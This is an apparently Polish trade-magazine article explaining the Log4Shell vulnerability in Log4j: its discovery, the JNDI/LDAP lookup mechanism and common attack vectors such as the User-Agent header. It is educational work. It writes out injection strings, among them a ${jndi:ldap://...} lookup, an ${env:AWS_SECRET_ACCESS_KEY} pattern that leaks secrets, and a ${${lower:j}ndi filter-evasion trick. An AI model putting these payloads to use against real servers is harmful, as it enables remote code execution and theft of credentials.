Gdy Ceki Gülcü tworzył ułatwiającą wszystkim życie bibliotekę Log4j, nie przewidział pewnie, że ponad 20 lat później krytyczna podatność jego biblioteki stanie się przyczyną globalnej paniki w całym świecie IT. Choć od ujawnienia luki Log4Shell upłynęły już prawie cztery miesiące, bynajmniej nie oznacza to, że zagrożenie minęło. Eksperci ds. cyberbezpieczeństwa uważają, że podatność ta pozostanie powszechnym celem cyberataków przez kolejne lata.

Dobrą praktyką w pracy programisty jest niemarnowanie czasu i środków na wymyślanie na nowo czegoś, co zrobił już ktoś inny. Zamiast tego standardową praktyką jest wykorzystywanie bibliotek – pakietów wcześniej napisanego kodu – które mogą być ponownie użyte we własnych programach do wykonania określonych zadań. Bardzo popularną, wszechobecnie wręcz wykorzystywaną przez programistów Javy biblioteką jest Log4j – otwartoźródłowy framework służący do tworzenia logów podczas działania aplikacji. Biblioteka, którą pierwotnie napisał w 2001 r. Ceki Gülcü, jest obecnie częścią Apache Logging Services, projektu Apache Software Foundation, a wykorzystywana jest na skalę globalną przez znane usługi publiczne i około jedną trzecią serwerów internetowych na świecie.

Jako framework logujący używany jest przez programistów do rejestrowania aktywności w aplikacji i chronologicznego zapisywania zdarzeń dziejących się w systemie informatycznym, np. jakie dane zostały wysłane do strony. Zazwyczaj mechanizm ten wykorzystuje się również, aby zachować informacje o błędach. Ponieważ jest to kod open source i to całkiem niezawodny, podłączanie Log4j zamiast budowania własnej biblioteki logowania od podstaw stało się powszechną praktyką.

Były członek komisji ds. bezpieczeństwa cybernetycznego prezydenta Baracka Obamy, Tom Kellermann, opisał Apache jako „jedną z gigantycznych podpór mostu, który ułatwia tworzenie tkanki łącznej między światami aplikacji i środowisk komputerowych”. Filar ten mocno zachwiał się w posadach, gdy 9 grudnia zeszłego roku gruchnęła wiadomość o odnalezieniu krytycznej podatności tej biblioteki w wersji 2.0 i wzwyż.

> Wykrycie exploita

Okazało się, że biblioteka Log4j zawiera pewną funkcję, którą można wykorzystać w złośliwym celu. Luka istniała niezauważona od 2013 r., a została odkryta przez Chena Zhaojuna z zespołu bezpieczeństwa Alibaba Cloud i zgłoszona do Apache 24 listopada 2021 r. Z tego powodu Chińskie Ministerstwo Przemysłu i Technologii Informacyjnych zawiesiło na sześć miesięcy współpracę z Alibaba Cloud jako partnerem w zakresie wywiadu dotyczącego zagrożeń cyberbezpieczeństwa z powodu niezgłoszenia podatności do rządu w pierwszej kolejności. Publiczny opis błędu pojawił się 9 grudnia, ale pierwsze ataki zaobserwowano już 1 grudnia.

Podatność ta, CVE-2021-44228, nazwana „Log4Shell”, to luka zero-day w Log4j 2 pozwalająca na zdalne wykonanie dowolnego (wrogiego) kodu (ang. Remote Code Execution) po stronie serwerowej. Napastnik może uzyskać dostęp do wykonywania dowolnych poleceń na serwerze (z uprawnieniami, z którymi działa podatna aplikacja). Wykryta podatność przy odpowiednich warunkach pozwala atakującemu na przejęcie pełnej kontroli nad serwerem lub stacją roboczą. Warunkiem koniecznym jest implementacja oprogramowania w taki sposób, że system zapisuje w dzienniku zdarzeń informacje, na które ma wpływ atakujący (użytkownik), co nie jest rzadkością.

Duża złożoność oraz zdolność do ładowania losowych fragmentów kodu i ich wykonywania w tym przypadku okazała się wadą konstrukcyjną Javy. Najczęściej objawia się ona w serializacji, czyli możliwości wzięcia kawałka danych i przekształcenia go w obiekt Javy, wraz z kodem, który jest wykonywany z tym obiektem. Luka w Log4j jest połączeniem tendencji Javy do serializacji z przenikaniem się kodu i danych w infrastrukturze logowania.

Log4Shell wykorzystuje fakt, że Log4j pozwala na wysyłanie żądań do dowolnych serwerów LDAP i JNDI, umożliwiając atakującym ekstrakcję poufnych informacji lub wykonanie dowolnego kodu Java na serwerze lub innym komputerze. Aby zrozumieć tę podatność, należy wyjaśnić funkcję używaną przez system logowania zwaną JNDI i sposób, w jaki jest ona używana przez Log4j. JNDI (ang. Java Naming and Directory Interface) jest usługą katalogową i nazewniczą, która zapewnia możliwość wyszukiwania i dostępu do klas Java na podstawie ścieżki do ich danych za pomocą różnych usług nazewniczych i katalogowych SPI (ang. System Programming Interface). JNDI może wykorzystywać kilka interfejsów katalogowych, z których każdy zapewnia inny schemat wyszukiwania plików. Wśród tych interfejsów jest też LDAP (ang.
Lightweight Directory Access Protocol), protokół, który pobiera dane obiektu jako URL z odpowiedniego serwera, lokalnego lub znajdującego się w dowolnym miejscu w internecie. Poza LDAP-em inne potencjalnie podatne na exploity SPI używane przez JNDI obejmują jego bezpieczną odmianę LDAPS, Java Remote Method Invocation (RMI), Domain Name System (DNS), Internet Inter-ORB Protocol (IIOP), COBRA i inne.

> Działanie podatności

Istotą podatności CVE-2021-44228 jest sposób, w jaki Log4j przetwarza komunikaty dziennika. Autorzy oprogramowania używają mechanizmu logów do raportowania różnych przepływów w sofwarze. Podczas tego procesu komunikat dziennika jest przekazywany jako ciąg znaków, który ma być zapisany w pliku dziennika. Biblioteka Log4j ma dodatkową funkcję pozwalającą, aby wiadomości dziennika zawierały zmienne, które są tłumaczone na bieżąco przed zapisaniem do pliku dziennika.

Za każdym razem, kiedy do biblioteki przekaże się tekst, w którym zawarty jest adres strony zapisany w ciągu znaków, biblioteka spróbuje pobrać z tego adresu plik, a następnie go uruchomić. Język formatowania Log4j zawiera również możliwość wyzwalania kodu. Tak więc każdorazowo, gdy biblioteka napotka ciąg, który zaczyna się od ${jndi:ldap://adres_pliku}, spróbuje pobrać obiekt z tego adresu, zdeserializować go i uruchomić kod, który tam napotka. W przypadku CVE-2021-44228 Log4j tłumaczy określony argument otrzymany jako sformatowany ciąg znaków i zmusza go do załadowania kodu Java z innej klasy Java przechowywanej na serwerze lub ze zdalnego serwera. W sytuacji, w której komunikat logowania jest kontrolowany przez użytkownika, atakujący może wykorzystać tę funkcję do przetłumaczenia parametrów na obiekty Javascript w celu wykonania złośliwego payloadu z kontrolowanego przez atakującego zdalnego serwera. Ponieważ jest to tak powszechny problem w systemach Java, istnieje już wiele zestawów narzędzi pozwalających na wykorzystanie tej klasy podatności.

> Przebieg ataku

Podstawowym warunkiem wykorzystania tej luki przez atakującego jest wygenerowanie dowolnego komunikatu, który zostanie zapisany w dzienniku przez program docelowy. Ciąg znaków może być przekazany praktycznie w każdym miejscu, np. zmienna w URL, zmienna w ciele żądania, zmienna w nagłówkach HTTP lub jakikolwiek inny fragment danych, które programista uzna za celowe zarejestrować. Następnie pod­atny serwer musi mieć możliwość połączenia się z powrotem do atakującego, aby pobrać rzeczywisty exploit. Ale tak długo, jak te dwa warunki są spełnione, istnieją już proste narzędzia do wykorzystania tej luki.

Przesył danych od użytkowników do serwera zazwyczaj odbywa się za pośrednictwem formularzy czy z interfejsów API, ale opcji przesyłania złośliwego tekstu jest znacznie więcej. Gdy odwiedzamy strony internetowe, przeglądarki wysyłają informacje na swój temat – robią to za pomocą nagłówka User-Agent. Dzięki temu strona może np. zauważyć, że korzystamy z przeglądarki na telefonie, i przenieść nas do mobilnej wersji serwisu. Ponieważ żądania HTTP są często rejestrowane, powszechnym wektorem ataku jest umieszczenie złośliwego łańcucha w adresie URL żądania HTTP lub w standardowo rejestrowanym nagłówku HTTP, takim jak User-Agent. Wystarczy więc, że potencjalny atakujący zmodyfikuje ciąg wysyłany przez przeglądarkę i zamiast nazwy przeglądarki może tam wstawić złośliwy kod. Jeśli ten kod zostanie zapisany w logu, nasza strona jest podatna. Nawet jeśli wykonanie danych jest wyłączone, atakujący może je pobrać – takie jak tajne zmienne środowiskowe – umieszczając je w adresie URL, w którym to przypadku zostaną one podstawione i wysłane na serwer atakującego. Potencjalni atakujący wysyłają również sporo różnych nagłówków na ślepo, zakładając, że któryś z nich zadziała, gdyż nigdy nie wiadomo, co dana aplikacja zapisuje w logach, a czego nie. Wczesne środki zaradcze obejmowały blokowanie wszelkich żądań zawierających potencjalnie złośliwe treści, takie jak ${jndi.

W złośliwym ciągu, który zaczyna się od $, można nie tylko podawać adres do naszego pliku, ale także wyświetlać w ten sposób zmienne środowiskowe. Wystarczy, że zamiast adresu podamy tam ciąg znaków zaczynający się od ${env:AWS_SECRET_ACCESS_KEY}. Może być to wykorzystane do kradzieży tajnej zmiennej. W miejscu zmiennej może być podana nazwa komputera lub inna informacja. Ta możliwość wykorzystywania zmiennych bardzo utrudnia walkę z tą podatnością.

Każda osoba, która próbuje do naszej strony wysłać złośliwy tekst, teoretycznie powinna zostać odrzucona przez Web Application Firewall, czyli system ochrony aplikacji internetowych. System ten poszukuje pewnych charakterystycznych ciągów znaków i jeśli je wykryje, nie pozwala na dostęp do strony. Jednak proste wyszukiwanie złośliwego ciągu może być ominięte przez obfuskację (zaciemnienie kodu). Adres może być zapisany na wiele różnych sposobów, przez zastosowanie różnych obejść, np. po zastosowaniu zmiennej ${${lower:j}ndi żądanie zostanie zamienione na lookup JNDI po podmianie litery „J” na małą. Nawet jeśli dane wejściowe, takie jak imię, nie są natychmiast rejestrowane, może do tego dojść później podczas wewnętrznego przetwarzania, a ich zawartość wykonywana. Wiele zależy od kreatywności przestępców, dlatego deklaracje i zapewnienia o wykryciu wszystkich ataków na Log4j trzeba traktować z dużą dozą ostrożności.

[...]

Autor jest testerem oprogramowania oraz entuzjastą technologii kwantowych i rozproszonych rejestrów. Redaktor prowadzący „IT Professional”.